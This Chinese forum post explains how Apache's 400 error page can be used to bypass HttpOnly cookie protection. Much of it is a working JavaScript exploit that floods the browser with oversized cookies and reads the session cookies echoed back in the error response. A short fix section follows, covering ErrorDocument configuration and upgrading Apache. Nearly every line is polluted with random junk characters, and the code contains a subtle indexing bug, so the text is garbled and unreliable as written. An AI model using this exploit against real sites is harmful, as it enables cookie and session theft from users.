很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。
& u. [' d; S _$ {! Q" |; N. V1 e9 H: _
用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:% G: [" o4 C& h' P
# h3 k% k( C, y( d! Y3 z; D5 _- F
- n6 N# `% O: ]" i8 }& W// http://www.exploit-db.com/exploits/18442/
9 m3 Q" ~" Q( E( |function setCookies (good) {
8 h4 n+ s& f; j8 _* D& O$ T( v// Construct string for cookie value4 m! U: `# `0 t" m' Z0 i* Q6 Q0 k3 P
var str = "";. @ }/ C0 t, b1 \/ y, m& U
for (var i=0; i< 819; i++) {. f. z2 m9 S" U& x
str += "x";0 Q: ^6 d; ?7 _7 C
}
8 P# ?! L0 ?: t6 \) E+ V$ w& O6 A// Set cookies
( d! E; u- n- B- O3 vfor (i = 0; i < 10; i++) {
4 `* u$ e: I* r3 D8 c& Y$ F/ v- x" X H9 F// Expire evil cookie
; K2 F. d8 v4 |1 \if (good) {
- z9 C3 `6 P0 B" j9 wvar cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
, @9 {# O( ~: J, V}
* {! t+ w; u* ~2 c// Set evil cookie
) Z3 e6 p4 F& m/ W. p6 relse {( [. z& X7 B4 b! G6 y- [9 C; P
var cookie = "xss"+i+"="+str+";path=/";" I. v9 R; h" B; ^: [3 a! [
}' f& v$ d' X1 \( I1 m
document.cookie = cookie;
. [ N ?6 V: V% j}4 s" l( I; N1 ~! h% G
}) H0 B$ B; L( w1 J
function makeRequest() {3 A5 u2 n1 B; k& C
setCookies();& \; D" T4 v( \/ _# \
function parseCookies () {2 X' F# g! z+ @1 l {( s
var cookie_dict = {};" ^- J9 V3 y b; I4 k
// Only react on 400 status& m4 }; Y, J) {2 m& B
if (xhr.readyState === 4 && xhr.status === 400) {0 T Q1 X1 i5 ]/ ] _
// Replace newlines and match <pre> content' r0 V* h5 S4 o: x' t: {
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
, v! d" |) {1 C- D3 k5 c' Cif (content.length) {. j; ]) t* k* a% C
// Remove Cookie: prefix
+ I8 b% ~+ y: y9 v0 ]content = content[1].replace("Cookie: ", "");2 P+ Q8 c2 Q ] t! A/ _$ u( Y
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);9 o7 M% G: G# V/ ?# n2 a W$ d
// Add cookies to object6 x/ F( F5 i; q
for (var i=0; i<cookies.length; i++) {+ |3 h$ s' A* _+ i8 i) I
var s_c = cookies.split('=',2);' Y8 U& G- T- }! \ C* `
cookie_dict[s_c[0]] = s_c[1];
% h$ m4 G! G. ?* l3 ?3 ~" a}
3 d4 U& ]* X4 G# r$ H$ _}1 f4 f% L% @+ {- Y. A
// Unset malicious cookies/ O6 ?$ {+ u. w+ W
setCookies(true);
: y6 h v5 [) W5 j5 Yalert(JSON.stringify(cookie_dict));/ F2 L6 B+ [3 z6 L" e- f6 o7 k
}
5 ~9 J6 n0 U/ u% [4 b; D}
6 y2 s9 r8 |7 F( Z* ?// Make XHR request
( h& P+ W! [- ^/ B$ r; o7 l! kvar xhr = new XMLHttpRequest();& r" Q$ b- t) U* ^( _$ q
xhr.onreadystatechange = parseCookies;
% I2 e, D4 U& r* z2 x; j; Bxhr.open("GET", "/", true);) h; I0 `) `0 P& k* W
xhr.send(null);+ l: U& D9 d6 y Q b
}
3 {$ m R% Y0 N% c, imakeRequest();4 j, L% o3 x/ \5 Y
( R- ]5 q9 ^2 J% K
你就能看见华丽丽的400错误包含着cookie信息。
; y- l/ _* A+ {
' g% W5 [# V, H9 m/ u: N下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#
* D9 o4 A$ \" v( y! ]" V% |
2 Q K. r6 D# z+ Z% D3 l+ J修复方案:
; D5 r% Z% M. ~7 a/ Q/ [3 q" P
, }4 n( k( J& U* H$ C% a9 H3 O2 wApache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下
+ |' d7 i; E$ Z. N* t; ^' w
0 M: ?0 `* f& |# C8 m2 cIn the event of a problem or error, Apachecan be configured to do one of four things,6 c8 Y0 Y4 o: ]6 c! v
2 Y4 l$ T- c6 V& q+ d5 S) _) a
1. output asimple hardcoded error message输出一个简单生硬的错误代码信息5 b, M! Q* J/ X4 g" T) o* K
2. output acustomized message输出一段信息
/ e. n; O/ g: u7 `1 l8 S' u3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面 I7 m/ I% W |* q- H
4. redirect to an external URL to handle theproblem/error转向一个外部URL+ ]* {* `1 t5 l9 W( z3 R- d
' ?( d% Q: U8 d9 `/ w/ G经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容
% b+ i: {* {5 T; `$ ^* R* J
/ y! a5 v* b% Y! N/ NApache配置:) W1 w( l1 t9 b; A2 P, e3 b' {
- U& q& o1 v' z1 `ErrorDocument400 " security test"% X- n6 W) A# ^- y; s8 P( c2 C
# ?; @6 n$ m7 U. `, g- }当然,升级apache到最新也可:)。. t! X! _; G; F2 {, N5 X3 L
4 _! a. x) V3 B3 P. \参考:http://httpd.apache.org/security/vulnerabilities_22.html
- p: H. p9 n7 Q. X" Y% |- w {$ m
, T$ C5 D) H/ H/ x4 F |